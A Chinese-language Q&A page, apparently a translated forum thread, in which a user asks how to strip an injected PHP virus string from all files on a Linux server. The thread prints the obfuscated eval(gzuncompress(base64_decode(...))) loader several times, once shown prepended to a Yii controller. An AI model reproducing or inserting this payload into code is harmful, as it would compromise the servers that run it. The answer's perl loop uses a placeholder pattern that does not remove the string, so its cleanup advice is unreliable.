linux - 如何在 Linux 中用所有目录的所有文件中的匹配字符串替换空字符串

Question

我在所有文件中都得到了病毒字符串。如何在所有目录的所有文件中删除此匹配字符串。

这是我的实际文件。

<?php eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));?><?php

namespace app\controllers;

use app\components\BackendController;
use Yii;

class DashboardController extends BackendController
{
    /**
     * @inheritdoc
     */

    public function beforeAction($event)
    {
        return parent::beforeAction($event);
    }
.....
....
?>

这是病毒字符串。我需要在我的文件中删除这个字符串。

<?php eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));?>

Answer 1

如果您让 perl 在您的工作中使用以下代码片段，那就太好了。

要查找包含代码段的所有文件，请使用:

grep -H -R "<?php eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));?>" /* | cut -d: -f1 > filelist

这将为您提供系统中所有文件中具有所需字符串的所有文件的名称。

要替换所有文件，您可以使用以下代码片段

#/bin/bash
 while IFS=$'\n\r' read -r line_data; do
    perl -i -pe 's/newstring/change/g' ${line_data}
 done < ./filelist

我想这应该适合你。